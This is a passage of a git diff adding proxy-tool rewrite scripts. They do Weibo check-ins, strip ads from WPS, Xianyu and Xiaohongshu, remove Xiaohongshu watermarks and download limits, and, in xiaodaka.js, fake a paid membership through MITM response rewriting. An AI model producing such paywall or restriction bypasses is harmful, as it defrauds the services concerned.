id); + } + resolve(); + }) + }) +} + +// 签到 +function checkin(id, name) { + let sendCheckinUrl = $.currentToken.checkinurl + .replace(/&fid=.*?&/, "&fid=" + id + "&") + .replace(/pageid%3D.*?%26/, "pageid%3D" + id + "%26"); + let request = { + url: sendCheckinUrl, header: $.currentToken.checkinHeaders + }; + return new Promise(resolve => { + $.get(request, (error, response, data) => { + if (error) { + throw new Error(error); + } + name = name.replace(/超话/, "") + if (response.statusCode == 200) { + const msg_info = JSON.parse(response.body); + console.log(response.body); + if (msg_info.hasOwnProperty('errmsg')) { + $.failNum += 1; + if (msg_info.errcode == 382004) { + $.message.push(`【${name}】:✨今天已签到`); + console.log(`【${name}】:${msg_info.errmsg}`); + } else { + $.message.push(`【${name}】:${msg_info.errmsg}`); + console.log(`【${name}】:"发生错误⚠️ 该请求的返回情况如下"`); + } + } else if (msg_info.hasOwnProperty('result') && msg_info.result == 1) { + $.successNum += 1 + $.message.push(`【${name}】:✅${msg_info.button.name}`) + console.log(`【${name}】:${msg_info.button.name}`); + } else { + $.failNum += 1 + $.message.push(`【${name}】:发生错误⚠️`); + console.log(`【${name}】:"发生错误⚠️ 该请求的返回情况如下"`); + console.log(response.body) + } + } else if ((response.statusCode == 418)) { + $.failNum += 1 + $.message.push(`【${name}】:"签到太频繁啦,请稍后再试"`); + console.log(`【${name}】:"签到太频繁啦,请稍后再试"`); + } else if (response.statusCode == 511) { + $.failNum += 1; + $.message.push(`【${name}】:"需要身份验证,请稍后再试"`); + console.log(`【${name}】:"需要身份验证,请稍后再试"`); + } else { + $.failNum += 1 + $.message.push(`【${name}】:发生错误⚠️`); + console.log(`【${name}】:"发生错误⚠️ 该请求的返回情况如下"`); + console.log(JSON.stringify(response)) + } + resolve(); + }) + + }) +} + +// 简单的判断对象的所有属性都不为空,所有属性都符合条件才返回 true +function validateObject(obj) { + return Object.values(obj).every(value => + value !== null && + value !== undefined && + (typeof value !== 'string' || value.trim() !== '') + ); +} + +// API start +async function sendMsg(desc, opts) { $.isNode() ? await notify.sendNotify($.name, desc) : $.msg($.name, $.subTitle || "", desc, opts) } +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;"POST"===e&&(s=this.post);const i=new Promise(((e,i)=>{s.call(this,t,((t,s,o)=>{t?i(t):e(s)}))}));return t.timeout?((t,e=1e3)=>Promise.race([t,new Promise(((t,s)=>{setTimeout((()=>{s(new Error("请求超时"))}),e)}))]))(i,t.timeout):i}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.logLevels={debug:0,info:1,warn:2,error:3},this.logLevelPrefixs={debug:"[DEBUG] ",info:"[INFO] ",warn:"[WARN] ",error:"[ERROR] "},this.logLevel="info",this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.encoding="utf-8",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}getEnv(){return"undefined"!=typeof $environment&&$environment["surge-version"]?"Surge":"undefined"!=typeof $environment&&$environment["stash-version"]?"Stash":"undefined"!=typeof module&&module.exports?"Node.js":"undefined"!=typeof $task?"Quantumult X":"undefined"!=typeof $loon?"Loon":"undefined"!=typeof $rocket?"Shadowrocket":void 0}isNode(){return"Node.js"===this.getEnv()}isQuanX(){return"Quantumult X"===this.getEnv()}isSurge(){return"Surge"===this.getEnv()}isLoon(){return"Loon"===this.getEnv()}isShadowrocket(){return"Shadowrocket"===this.getEnv()}isStash(){return"Stash"===this.getEnv()}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null,...s){try{return JSON.stringify(t,...s)}catch{return e}}getjson(t,e){let s=e;if(this.getdata(t))try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise((e=>{this.get({url:t},((t,s,i)=>e(i)))}))}runScript(t,e){return new Promise((s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=e&&e.timeout?e.timeout:o;const[r,a]=i.split("@"),n={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":r,Accept:"*/*"},policy:"DIRECT",timeout:o};this.post(n,((t,e,i)=>s(i)))})).catch((t=>this.logErr(t)))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),o=JSON.stringify(this.data);s?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(e,o):this.fs.writeFileSync(t,o)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return s;return o}lodash_set(t,e,s){return Object(t)!==t||(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce(((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{}),t)[e[e.length-1]]=s),t}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),o=s?this.getval(s):"";if(o)try{const t=JSON.parse(o);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(e),r=this.getval(i),a=i?"null"===r?null:r||"{}":"{}";try{const e=JSON.parse(a);this.lodash_set(e,o,t),s=this.setval(JSON.stringify(e),i)}catch(e){const r={};this.lodash_set(r,o,t),s=this.setval(JSON.stringify(r),i)}}else s=this.setval(t,e);return s}getval(t){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.read(t);case"Quantumult X":return $prefs.valueForKey(t);case"Node.js":return this.data=this.loaddata(),this.data[t];default:return this.data&&this.data[t]||null}}setval(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.write(t,e);case"Quantumult X":return $prefs.setValueForKey(t,e);case"Node.js":return this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0;default:return this.data&&this.data[e]||null}}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.cookie&&void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar)))}get(t,e=(()=>{})){switch(t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"],delete t.headers["content-type"],delete t.headers["content-length"]),t.params&&(t.url+="?"+this.queryStr(t.params)),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let s=require("iconv-lite");this.initGotEnv(t),this.got(t).on("redirect",((t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}})).then((t=>{const{statusCode:i,statusCode:o,headers:r,rawBody:a}=t,n=s.decode(a,this.encoding);e(null,{status:i,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:i,response:o}=t;e(i,o,o&&s.decode(o.rawBody,this.encoding))}));break}}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";switch(t.body&&t.headers&&!t.headers["Content-Type"]&&!t.headers["content-type"]&&(t.headers["content-type"]="application/x-www-form-urlencoded"),t.headers&&(delete t.headers["Content-Length"],delete t.headers["content-length"]),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let i=require("iconv-lite");this.initGotEnv(t);const{url:o,...r}=t;this.got[s](o,r).then((t=>{const{statusCode:s,statusCode:o,headers:r,rawBody:a}=t,n=i.decode(a,this.encoding);e(null,{status:s,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:s,response:o}=t;e(s,o,o&&i.decode(o.rawBody,this.encoding))}));break}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}queryStr(t){let e="";for(const s in t){let i=t[s];null!=i&&""!==i&&("object"==typeof i&&(i=JSON.stringify(i)),e+=`${s}=${i}&`)}return e=e.substring(0,e.length-1),e}msg(e=t,s="",i="",o={}){const r=t=>{const{$open:e,$copy:s,$media:i,$mediaMime:o}=t;switch(typeof t){case void 0:return t;case"string":switch(this.getEnv()){case"Surge":case"Stash":default:return{url:t};case"Loon":case"Shadowrocket":return t;case"Quantumult X":return{"open-url":t};case"Node.js":return}case"object":switch(this.getEnv()){case"Surge":case"Stash":case"Shadowrocket":default:{const r={};let a=t.openUrl||t.url||t["open-url"]||e;a&&Object.assign(r,{action:"open-url",url:a});let n=t["update-pasteboard"]||t.updatePasteboard||s;if(n&&Object.assign(r,{action:"clipboard",text:n}),i){let t,e,s;if(i.startsWith("http"))t=i;else if(i.startsWith("data:")){const[t]=i.split(";"),[,o]=i.split(",");e=o,s=t.replace("data:","")}else{e=i,s=(t=>{const e={JVBERi0:"application/pdf",R0lGODdh:"image/gif",R0lGODlh:"image/gif",iVBORw0KGgo:"image/png","/9j/":"image/jpg"};for(var s in e)if(0===t.indexOf(s))return e[s];return null})(i)}Object.assign(r,{"media-url":t,"media-base64":e,"media-base64-mime":o??s})}return Object.assign(r,{"auto-dismiss":t["auto-dismiss"],sound:t.sound}),r}case"Loon":{const s={};let o=t.openUrl||t.url||t["open-url"]||e;o&&Object.assign(s,{openUrl:o});let r=t.mediaUrl||t["media-url"];return i?.startsWith("http")&&(r=i),r&&Object.assign(s,{mediaUrl:r}),console.log(JSON.stringify(s)),s}case"Quantumult X":{const o={};let r=t["open-url"]||t.url||t.openUrl||e;r&&Object.assign(o,{"open-url":r});let a=t["media-url"]||t.mediaUrl;i?.startsWith("http")&&(a=i),a&&Object.assign(o,{"media-url":a});let n=t["update-pasteboard"]||t.updatePasteboard||s;return n&&Object.assign(o,{"update-pasteboard":n}),console.log(JSON.stringify(o)),o}case"Node.js":return}default:return}};if(!this.isMute)switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:$notification.post(e,s,i,r(o));break;case"Quantumult X":$notify(e,s,i,r(o));break;case"Node.js":break}if(!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}debug(...t){this.logLevels[this.logLevel]<=this.logLevels.debug&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.debug}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}info(...t){this.logLevels[this.logLevel]<=this.logLevels.info&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.info}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}warn(...t){this.logLevels[this.logLevel]<=this.logLevels.warn&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.warn}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}error(...t){this.logLevels[this.logLevel]<=this.logLevels.error&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.error}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.map((t=>t??String(t))).join(this.logSeparator))}logErr(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:this.log("",`❗️${this.name}, 错误!`,e,t);break;case"Node.js":this.log("",`❗️${this.name}, 错误!`,e,void 0!==t.message?t.message:t,t.stack);break}}wait(t){return new Promise((e=>setTimeout(e,t)))}done(t={}){const e=((new Date).getTime()-this.startTime)/1e3;switch(this.log("",`🔔${this.name}, 结束! 🕛 ${e} 秒`),this.log(),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:$done(t);break;case"Node.js":process.exit(1)}}}(t,e)} +// API end diff --git a/Scripts/wps/WPS.js b/Scripts/wps/WPS.js new file mode 100644 index 00000000..6d167356 --- /dev/null +++ b/Scripts/wps/WPS.js @@ -0,0 +1,143 @@ +/* + * WPS 初始化引导 + * + * @author ouocm + */ + +// --- 核心函数区域 --- +function deepInPlaceUnescape(obj) { + for (const key in obj) { + let value = obj[key]; + if (typeof value === "string" && (value[0] === "{" || value[0] === "[")) { + try { + obj[key] = JSON.parse(value); + } catch (e) { + /* 解析失败,保持原样 */ + } + } + if (typeof obj[key] === "object" && obj[key] !== null) { + deepInPlaceUnescape(obj[key]); + } + } +} + +// --- 脚本主逻辑 --- +if (typeof $response !== "undefined") { + let body = $response.body; + try { + let data = JSON.parse(body); + const keysToReEscape = new Set(); + + // --- 单遍扫描 --- + if (data && data.entries) { + for (const key in data.entries) { + let value = data.entries[key]; + // 使用 value[0] 进行字串检查 + if ( + typeof value === "string" && + (value[0] === "{" || value[0] === "[") + ) { + try { + const parsedValue = JSON.parse(value); + data.entries[key] = parsedValue; + keysToReEscape.add(key); + deepInPlaceUnescape(parsedValue); + } catch (e) { + /* 不是有效的JSON字串,跳过 */ + } + } + } + } + + // --- jq 风格修改 --- + if (data && data.entries) { + const entries = data.entries; + // --- 顶部引导广告栏开关 --- + if (entries.comp_top_guide) { + entries.comp_top_guide.switch = 0; + entries.comp_top_guide.day = "9999"; + } + // --- 首页横幅广告 --- + if (entries.home_banner_guide) { + entries.home_banner_guide.switch = 0; + } + // --- 登录提示弹窗 --- + if (entries.login_tips_pops) { + entries.login_tips_pops.guide_switch = 0; + } + // --- 功能模块浮动广告 --- + if (entries.module_float_show) { + entries.module_float_show.switch = 0; + } + // 嵌套的每一个switch + if (entries.module_float_show && entries.module_float_show.modules) { + if (entries.module_float_show.modules.pdf) { + entries.module_float_show.modules.pdf.switch = 0; + } + if (entries.module_float_show.modules.word) { + entries.module_float_show.modules.word.switch = 0; + } + if (entries.module_float_show.modules.excel) { + entries.module_float_show.modules.excel.switch = 0; + } + if (entries.module_float_show.modules.ppt) { + entries.module_float_show.modules.ppt.switch = 0; + } + } + // --- 评分引导弹窗 --- + if (entries.rate_guide) { + entries.rate_guide.guide_switch = 0; + } + // --- 开屏广告 --- + if (entries.splash_ad) { + entries.splash_ad.switch = 0; + } + // --- 登录订阅引导 --- + if (entries.us_login_pay_config) { + entries.us_login_pay_config.pay = 0; + } + // --- 用户中心横幅广告 --- + if (entries.usercenter_banner_config) { + entries.usercenter_banner_config.switch = 0; + } + // --- 登录流程广告 --- + if (entries.splash_login_process) { + entries.splash_login_process.login_switch = 0; + } + // --- 功能引导、订阅引导 --- + if (entries.us_launch_config) { + if (Array.isArray(entries.us_launch_config.launchSteps)) { + entries.us_launch_config.launchSteps = + entries.us_launch_config.launchSteps.filter( + (step) => step !== "guide" && step !== "subscribe" + ); + } + if (entries.us_launch_config.subscribe_guide_config) { + entries.us_launch_config.subscribe_guide_config.preventing_fatigue_times = 0; + entries.us_launch_config.subscribe_guide_config.preventing_fatigue_days = 9999; + } + } + } + + // --- 重新转义 --- + if (data && data.entries) { + for (const key of keysToReEscape) { + if ( + data.entries[key] && + typeof data.entries[key] === "object" && + data.entries[key] !== null + ) { + data.entries[key] = JSON.stringify(data.entries[key]); + } + } + } + + body = JSON.stringify(data); + } catch (e) { + console.log("脚本执行出错: " + e.message); + } + + $done({ body }); +} else { + $done({}); +} diff --git a/Scripts/xianyu/xianyu_ads.js b/Scripts/xianyu/xianyu_ads.js new file mode 100644 index 00000000..779fda41 --- /dev/null +++ b/Scripts/xianyu/xianyu_ads.js @@ -0,0 +1,43 @@ +/** + * 闲鱼 去广告+净化 + * 2024-08-20 11:00:37 + */ +const url = $request.url; +if (!$response.body) $done({}); +let obj = JSON.parse($response.body); + +if (url.includes("/gw/mtop.taobao.idlehome.home.nextfresh")) { + // 可能存在的首页标签 + delete obj.data.widgetReturnDO; + // 删除banner图 + delete obj.data.bannerReturnDO; + // 信息流广告 + if (obj.data?.sections) { + obj.data.sections = obj.data.sections.filter(section => { + return !(section.data && (section.data.bizType === "AD" || section.data.bizType === "homepage")); + }); + + let excludeNames = ['fish_home_yunying_card_d3', 'idlefish_seafood_market', 'fish_home_chat_room']; + obj.data.sections = obj.data.sections.filter(function(section) { + return !excludeNames.includes(section.template.name); + }); + } +} + +if (url.includes("/gw/mtop.taobao.idle.local.home")) { + if (obj.data?.sections) { + obj.data.sections = obj.data.sections.filter(section => { + return !(section.data && section.data.bizType === "AD"); + }); + } +} + +if (url.includes("/gw/mtop.taobao.idle.home.whale.modulet")) { + delete obj.data.container.sections; +} + +if (url.includes("/gw/mtop.taobao.idlemtopsearch.search.shade") || url.includes("/gw/mtop.taobao.idle.user.strategy.list")) { + delete obj.data; +} + +$done({body: JSON.stringify(obj)}); diff --git a/Scripts/xiaodaka.js b/Scripts/xiaodaka.js new file mode 100644 index 00000000..480981e7 --- /dev/null +++ b/Scripts/xiaodaka.js @@ -0,0 +1,21 @@ +/*********************************** + +> 應用名稱:小打卡(微信小程序) +> 軟件版本:0.0.0 +> 下載地址:微信小程序搜索小打卡 +> 更新時間:2022-03-12 +> 特別聲明:本腳本僅供學習交流使用,禁止轉載售賣 + +[rewrite_local] +# ~ 小打卡(微信小程序)解鎖會員權限(2022-03-12) +^https?:\/\/uranus\.sharedaka\.com\/api\/v3\/user\/info\/get url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xiaodaka.js + +[mitm] +hostname=uranus.sharedaka.com + +***********************************/ + +let obj = JSON.parse($response.body); +obj.data.endTime = 1867996357000; +obj.data.hasOpenedMember = true; +$done({body: JSON.stringify(obj)}); diff --git a/Scripts/xiaohongshu/xiaohongshu.js b/Scripts/xiaohongshu/xiaohongshu.js new file mode 100644 index 00000000..9c9e8806 --- /dev/null +++ b/Scripts/xiaohongshu/xiaohongshu.js @@ -0,0 +1,448 @@ +/** + * @author fmz200 + * @function 小红书去广告、净化、解除下载限制、画质增强等 + * @date 2025-06-18 19:27:00 + * @quote @RuCu6 + */ + +const $ = new Env('小红书'); +const url = $request.url; +let rsp_body = $response.body; +if (!rsp_body) { + $done({}); +} +let obj = JSON.parse(rsp_body); + +if (url.includes("/search/banner_list")) { + obj.data = {}; +} + +if (url.includes("/search/hot_list")) { + // 热搜列表 + obj.data.items = []; +} + +if (url.includes("/search/hint")) { + // 搜索栏填充词 + obj.data.hint_words = []; +} + +if (url.includes("/search/trending?")) { + // 搜索栏 + obj.data.queries = []; + obj.data.hint_word = {}; +} + +if (url.includes("/search/notes?")) { + // 搜索结果 + if (obj.data.items?.length > 0) { + obj.data.items = obj.data.items.filter((i) => i.model_type === "note"); + } +} + +if (url.includes("/system_service/config?")) { + // 整体配置 + const item = ["app_theme", "loading_img", "splash", "store"]; + if (obj.data) { + for (let i of item) { + delete obj.data[i]; + } + } +} + +if (url.includes("/system_service/splash_config")) { + // 开屏广告 + if (obj?.data?.ads_groups?.length > 0) { + for (let i of obj.data.ads_groups) { + i.start_time = 3818332800; // Unix 时间戳 2090-12-31 00:00:00 + i.end_time = 3818419199; // Unix 时间戳 2090-12-31 23:59:59 + if (i?.ads?.length > 0) { + for (let ii of i.ads) { + ii.start_time = 3818332800; // Unix 时间戳 2090-12-31 00:00:00 + ii.end_time = 3818419199; // Unix 时间戳 2090-12-31 23:59:59 + } + } + } + } +} + +if (url.includes("/note/imagefeed?") || url.includes("/note/feed?")) { + // 信息流 图片 + if (obj?.data?.length > 0) { + if (obj.data[0]?.note_list?.length > 0) { + for (let item of obj.data[0].note_list) { + if (item?.media_save_config) { + // 水印开关 + item.media_save_config.disable_save = false; + item.media_save_config.disable_watermark = true; + item.media_save_config.disable_weibo_cover = true; + } + if (item?.share_info?.function_entries?.length > 0) { + // 下载限制 + const addItem = {type: "video_download"}; + let func = item.share_info.function_entries[0]; + if (func?.type !== "video_download") { + // 向数组开头添加对象 + item.share_info.function_entries.unshift(addItem); + } + } + } + + const images_list = obj.data[0].note_list[0].images_list; + // 画质增强 + obj.data[0].note_list[0].images_list = imageEnhance(JSON.stringify(images_list)); + // 保存无水印信息 + $.setdata(JSON.stringify(images_list), "fmz200.xiaohongshu.feed.rsp"); + console.log('已存储无水印信息♻️'); + } + } +} + +if (url.includes("/note/live_photo/save")) { + console.log('原body:' + rsp_body); + const rsp = $.getdata("fmz200.xiaohongshu.feed.rsp"); + console.log("读取缓存key:fmz200.xiaohongshu.feed.rsp"); + // console.log("读取缓存val:" + rsp); + if (rsp == null || rsp.length === 0) { + console.log('缓存无内容,返回原body'); + $done({body: rsp_body}); + } + const cache_body = JSON.parse(rsp); + let new_data = []; + for (const images of cache_body) { + if (images.live_photo_file_id) { + const item = { + file_id: images.live_photo_file_id, + video_id: images.live_photo.media.video_id, + url: images.live_photo.media.stream.h265[0].master_url + }; + new_data.push(item); + } + } + if (obj.data.datas) { + replaceUrlContent(obj.data.datas, new_data); + } else { + obj = {"code": 0, "success": true, "msg": "成功", "data": {"datas": new_data}}; + } + console.log('新body:' + JSON.stringify(obj)); +} + +if (url.includes("/note/widgets")) { + const item = ["cooperate_binds", "generic", "note_next_step"]; + if (obj?.data) { + for (let i of item) { + delete obj.data[i]; + } + } +} + +if (url.includes("/v3/note/videofeed?")) { + // 信息流 视频 + if (obj?.data?.length > 0) { + for (let item of obj.data) { + if (item?.media_save_config) { + // 水印 + item.media_save_config.disable_save = false; + item.media_save_config.disable_watermark = true; + item.media_save_config.disable_weibo_cover = true; + } + if (item?.share_info?.function_entries?.length > 0) { + // 下载限制 + const addItem = {type: "video_download"}; + let func = item.share_info.function_entries[0]; + if (func?.type !== "video_download") { + // 向数组开头添加对象 + item.share_info.function_entries.unshift(addItem); + } + } + } + } +} + +// 信息流 视频 +if (url.includes("/v4/note/videofeed")) { + let videoData = []; + if (obj.data?.length > 0) { + for (let item of obj.data) { + // 添加下载按钮(如果未存在) + if (item?.share_info?.function_entries?.length > 0) { + const hasDownload = item.share_info.function_entries.some(entry => entry.type === "video_download"); + if (!hasDownload) { + console.log(`添加下载按钮: ${item.id}`); + item.share_info.function_entries.push({type: "video_download"}); + } + } + + // 提取 H.265 视频流 + const h265List = item?.video_info_v2?.media?.stream?.h265 || []; + if (!Array.isArray(h265List) || h265List.length === 0) { + console.log(`无 h265 视频: ${item.id}`); + continue; + } + + // 分辨率从高到低排序 + const sortedList = h265List.filter(v => !!v.master_url && !!v.height).sort((a, b) => b.height - a.height); + // 选择分辨率最高的 + let selectedStream = sortedList[0]; + + // 存入缓存数组 + if (item?.id && selectedStream?.master_url) { + const data = { + id: item.id, + url: selectedStream.master_url + }; + console.log(`提取成功 ➜ ${item.id} → ${selectedStream.stream_desc}`); + videoData.push(data); + } else { + console.log(`未找到可用视频: ${item.id}`); + } + } + // 写入本地持久化缓存 + $.setdata(JSON.stringify(videoData), "redBookVideoFeed"); + console.log(`已缓存普通视频 ${videoData.length} 条`); + } +} + +// 视频保存请求 +if (url.includes("/v10/note/video/save")) { + let videoFeed = JSON.parse($.getdata("redBookVideoFeed")); // 读取持久化存储 + if (obj.data?.note_id !== "" && videoFeed?.length > 0) { + for (let item of videoFeed) { + if (item.id === obj.data.note_id) { + obj.data.download_url = item.url; + } + } + } + // 解除下载限制 + if (obj.data?.disable) { + delete obj.data.disable; + delete obj.data.msg; + obj.data.status = 2; + } +} + +if (url.includes("/user/followings/followfeed")) { + // 关注页信息流 可能感兴趣的人 + if (obj?.data?.items?.length > 0) { + // 白名单 + obj.data.items = obj.data.items.filter((i) => i?.recommend_reason === "friend_post"); + } +} + +if (url.includes("/v4/followfeed")) { + // 关注列表 + if (obj?.data?.items?.length > 0) { + // recommend_user 可能感兴趣的人 + obj.data.items = obj.data.items.filter((i) => !["recommend_user"].includes(i.recommend_reason)); + } +} + +if (url.includes("/recommend/user/follow_recommend")) { + // 用户详情页 你可能感兴趣的人 + if (obj?.data?.title === "你可能感兴趣的人" && obj?.data?.rec_users?.length > 0) { + obj.data = {}; + } +} + +if (url.includes("/v6/homefeed")) { + if (obj?.data?.length > 0) { + // 信息流广告 + let newItems = []; + for (let item of obj.data) { + if (item?.model_type === "live_v2") { + // 信息流-直播 + } else if (item?.hasOwnProperty("ads_info")) { + // 信息流-赞助 + } else if (item?.hasOwnProperty("card_icon")) { + // 信息流-带货 + } else if (item?.note_attributes?.includes("goods")) { + // 信息流-商品 + } else { + if (item?.related_ques) { + delete item.related_ques; + } + newItems.push(item); + } + } + obj.data = newItems; + } +} + +// 加载评论区 +if (url.includes("/api/sns/v5/note/comment/list?") || url.includes("/api/sns/v3/note/comment/sub_comments?")) { + replaceRedIdWithFmz200(obj.data); + let livePhotos = []; + let note_id = ""; + if (obj.data?.comments?.length > 0) { + note_id = obj.data.comments[0].note_id; + for (const comment of obj.data.comments) { + // comment_type: 0-文字,2-图片/live,3-表情包 + if (comment.comment_type === 3) { + comment.comment_type = 2; + console.log(`修改评论类型:3->2`); + } + if (comment.media_source_type === 1) { + comment.media_source_type = 0; + console.log(`修改媒体类型:1->0`); + } + if (comment.pictures?.length > 0) { + console.log("comment_id: " + comment.id); + for (const picture of comment.pictures) { + if (picture.video_id) { + const picObj = JSON.parse(picture.video_info); + if (picObj.stream?.h265?.[0]?.master_url) { + console.log("video_id:" + picture.video_id); + const videoData = { + videId: picture.video_id, + videoUrl: picObj.stream.h265[0].master_url + }; + livePhotos.push(videoData); + } + } + } + } + if (comment.sub_comments?.length > 0) { + for (const sub_comment of comment.sub_comments) { + if (sub_comment.comment_type === 3) { + sub_comment.comment_type = 2; + console.log(`修改评论类型1:3->2`); + } + if (sub_comment.media_source_type === 1) { + sub_comment.media_source_type = 0; + console.log(`修改媒体类型1:1->0`); + } + if (sub_comment.pictures?.length > 0) { + console.log("comment_id1: " + comment.id); + for (const picture of sub_comment.pictures) { + if (picture.video_id) { + const picObj = JSON.parse(picture.video_info); + if (picObj.stream?.h265?.[0]?.master_url) { + console.log("video_id1:" + picture.video_id); + const videoData = { + videId: picture.video_id, + videoUrl: picObj.stream.h265[0].master_url + }; + livePhotos.push(videoData); + } + } + } + } + } + } + } + } + console.log("本次note_id:" + note_id); + if (livePhotos.length > 0) { + let commitsRsp; + const commitsCache = $.getdata("fmz200.xiaohongshu.comments.rsp"); + console.log("读取缓存val:" + commitsCache); + if (!commitsCache) { + commitsRsp = {noteId: note_id, livePhotos: livePhotos}; + } else { + commitsRsp = JSON.parse(commitsCache); + console.log("缓存note_id:" + commitsRsp.noteId); + if (commitsRsp.noteId === note_id) { + console.log("增量数据"); + commitsRsp.livePhotos = deduplicateLivePhotos(commitsRsp.livePhotos.concat(livePhotos)); + } else { + console.log("更换数据"); + commitsRsp = {noteId: note_id, livePhotos: livePhotos}; + } + } + 